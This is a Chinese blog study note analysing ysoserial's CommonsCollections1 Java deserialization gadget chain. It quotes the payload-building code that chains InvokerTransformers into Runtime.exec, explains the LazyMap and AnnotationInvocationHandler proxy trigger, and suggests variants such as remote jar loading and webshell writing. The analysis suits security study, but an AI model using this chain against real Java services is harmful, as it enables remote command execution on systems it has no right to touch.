YSOSERIAL Payloads分析筆記

前言

YSOSERIAL = Y SO SERIAL? 爲什麼這麼序列化?
其它沒啥好說的,自己再看一遍,慢慢的往裏面填肉。

CommonsCollections1

喜聞樂見的CommonsCollections1,最初的利用鏈

public InvocationHandler getObject(final String command) throws Exception {
		final String[] execArgs = new String[] { command };

沒啥好說的,要執行的命令↑

		// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });

爲了防止在decorate的時候就執行命令,先弄個事業不幹的Transformer↑

		// real chain for after setup
		final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] {
					String.class, Class[].class }, new Object[] {
					"getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] {
					Object.class, Object[].class }, new Object[] {
					null, new Object[0] }),
				new InvokerTransformer("exec",
					new Class[] { String.class }, execArgs),
				new ConstantTransformer(1) };

構造使用InvokerTransformer執行命令的TransfomerChain↑
核心代碼如下,熟悉Java的同學看到Invoke應該會比較興奮,不熟悉的麼。。。去熟悉熟悉┓( ´∀` )┏
在這裏插入圖片描述
最後實際上使用ContantTransfomer和InvokerTransfomer構造瞭如下的反射執行鏈:

Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object[0]).exec("clac.exe")

所以只要有別的能寫成一句話可以改別的,比如遠程加載jar文件(URLClassLoader)、寫shell(FileOutputStream\FileWriter)什麼的~

能執行命令的話其實也可以結合shell腳本、windows批處理達到無反彈getshell,不過後來有了RMI這種方式還是推薦用RMI的。

		final Map innerMap = new HashMap();

		final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

建立一個空map,然後用上面創建的假transformerChain先裝飾上。

題外話:
最早的文章中使用的是TransformedMap,對其任意entry進行setValue操作時,會觸發transformer。

AbstractInputCheckedMapDecorator$MapEntry(對TransformedMap的Entry進行setValue會做到這)中的代碼:
在這裏插入圖片描述
而後調用了TransformedMap的checkSetValue,執行了transform操作。
這部分的利用調用在AnnotationInvocationHandler中有體現。
在這裏插入圖片描述
題外話結束:
而這裏是使用LazyMap,lazyMap在調用get函數時如果key不存在會觸發transformer。
在這裏插入圖片描述

		final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
		
		final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

這裏使用AnnotationInvocationHandler是由於其成員memberValues爲Map,而lazyMap和transformedMap都實現了Map接口,並且後面readObject調用中會觸發上面所說的setValue與get函數。

有關動態代理的部分推薦一篇文章:《Java動態代理-實戰》
這裏只說一句與漏洞利用有關的:在通過Proxy進行被代理的接口調用時,實際上會通過構造時所給InvocationHandler的invoker函數進行執行。

createMemoitizedProxy創建了一個代理Map.class,InvocationHandler爲(memberValues設置爲上面所構造LazyMap的AnnotationInvocationHandler)的Proxy。

接下來createMemoizedInvocationHandler函數創建了一個memberValues爲上面Proxy的AnnotationInvocationHandler。

而後在第一層AnnotationInvocationHandler的readObject的過程中,觸發了:

this.memberValues.entrySet()

實際上這層的memberValues爲Proxy,會調用第二層AnnotationInvocationHandler的inovke函數:
在這裏插入圖片描述
可以看到由於entrySet不等於上面幾個常量(equals\toString\hashCode\annotationType),所以會對memberValues進行get操作,而由於此時的memberValues爲上面構造的空lazyMap,所以key不存在,如上面所說,觸發了transformers!!
題外話:
TransformedMap的利用成因具體參考《Lib之過?Java反序列化漏洞通用利用分析》這篇文章的解析,此處直說一句:在AnnotationInvocationHandler的readObject函數尾部會遍歷的對memberValues中的Entry執行setValue操作,滿足了觸發條件。

最後:

		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
		return handler;
	}

把iTransformers設置成利用鏈↑

到此CommonsCollections1利用鏈構造完成

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章